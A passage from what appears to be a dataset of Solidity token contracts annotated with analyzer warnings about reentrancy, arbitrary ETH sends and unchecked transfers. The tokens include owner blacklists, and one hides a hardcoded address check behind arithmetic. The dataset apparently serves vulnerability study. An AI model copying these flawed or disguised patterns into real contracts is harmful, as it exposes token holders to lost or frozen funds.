(reentrancy-eth | severity: High | ID: 9f9d5b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9f9d5b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ec4584a\n\t\t\t\t// reentrancy-eth | ID: 9f9d5b7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ec4584a\n\t\t\t\t\t// reentrancy-eth | ID: 9f9d5b7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9f9d5b7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9f9d5b7\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9f9d5b7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ec4584a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9f9d5b7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9f9d5b7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ec4584a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4277079\n\t\t// reentrancy-events | ID: ec4584a\n\t\t// reentrancy-benign | ID: 087bcd4\n\t\t// reentrancy-eth | ID: 9f9d5b7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cf13278): ANIME.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cf13278: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4277079\n\t\t// reentrancy-events | ID: ec4584a\n\t\t// reentrancy-eth | ID: 9f9d5b7\n\t\t// arbitrary-send-eth | ID: cf13278\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 03d2900): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 03d2900: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7582fb5): ANIME.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7582fb5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: baf4bba): ANIME.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for baf4bba: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: db4bf4b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for db4bf4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 03d2900\n\t\t// reentrancy-eth | ID: db4bf4b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 03d2900\n\t\t// unused-return | ID: 7582fb5\n\t\t// reentrancy-eth | ID: db4bf4b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 03d2900\n\t\t// unused-return | ID: baf4bba\n\t\t// reentrancy-eth | ID: db4bf4b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 03d2900\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: db4bf4b\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10016.sol",
"size_bytes": 21983,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract GameLifeToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3f4eb78): GameLifeToken._taxWallet should be immutable \n\t// Recommendation for 3f4eb78: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0f4295): GameLifeToken._initialBuyTax should be constant \n\t// Recommendation for f0f4295: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32e8869): GameLifeToken._initialSellTax should be constant \n\t// Recommendation for 32e8869: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ad14fe): GameLifeToken._reduceBuyTaxAt should be constant \n\t// Recommendation for 0ad14fe: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ecb514): GameLifeToken._reduceSellTaxAt should be constant \n\t// Recommendation for 2ecb514: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f8a2a9): GameLifeToken._preventSwapBefore should be constant \n\t// Recommendation for 9f8a2a9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"GameLife\";\n\n string private constant _symbol = unicode\"GME\";\n\n uint256 public _maxTxAmount = 6310350000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 6310350000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d919cc): GameLifeToken._taxSwapThreshold should be constant \n\t// Recommendation for 4d919cc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01c65f1): GameLifeToken._maxTaxSwap should be constant \n\t// Recommendation for 01c65f1: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ba9f16a): GameLifeToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ba9f16a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 845d134): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 845d134: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 839680d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 839680d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 845d134\n\t\t// reentrancy-benign | ID: 839680d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 845d134\n\t\t// reentrancy-benign | ID: 839680d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8ad49d7): GameLifeToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8ad49d7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 839680d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 845d134\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5b2b38e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5b2b38e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5f367b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5f367b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5b2b38e\n\t\t\t\t// reentrancy-eth | ID: 5f367b2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5b2b38e\n\t\t\t\t\t// reentrancy-eth | ID: 5f367b2\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 5f367b2\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 5f367b2\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5f367b2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5b2b38e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5f367b2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5f367b2\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5b2b38e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5b2b38e\n\t\t// reentrancy-events | ID: 845d134\n\t\t// reentrancy-benign | ID: 839680d\n\t\t// reentrancy-eth | ID: 5f367b2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9d1317e): GameLifeToken.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9d1317e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5b2b38e\n\t\t// reentrancy-events | ID: 845d134\n\t\t// reentrancy-eth | ID: 5f367b2\n\t\t// arbitrary-send-eth | ID: 9d1317e\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f27fff0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f27fff0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dc585e9): GameLifeToken.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for dc585e9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 33bfc00): GameLifeToken.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 33bfc00: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d7094ec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d7094ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f27fff0\n\t\t// reentrancy-eth | ID: d7094ec\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f27fff0\n\t\t// unused-return | ID: 33bfc00\n\t\t// reentrancy-eth | ID: d7094ec\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f27fff0\n\t\t// unused-return | ID: dc585e9\n\t\t// reentrancy-eth | ID: d7094ec\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f27fff0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d7094ec\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3a102d6): GameLifeToken.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 3a102d6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 3a102d6\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10017.sol",
"size_bytes": 20936,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you 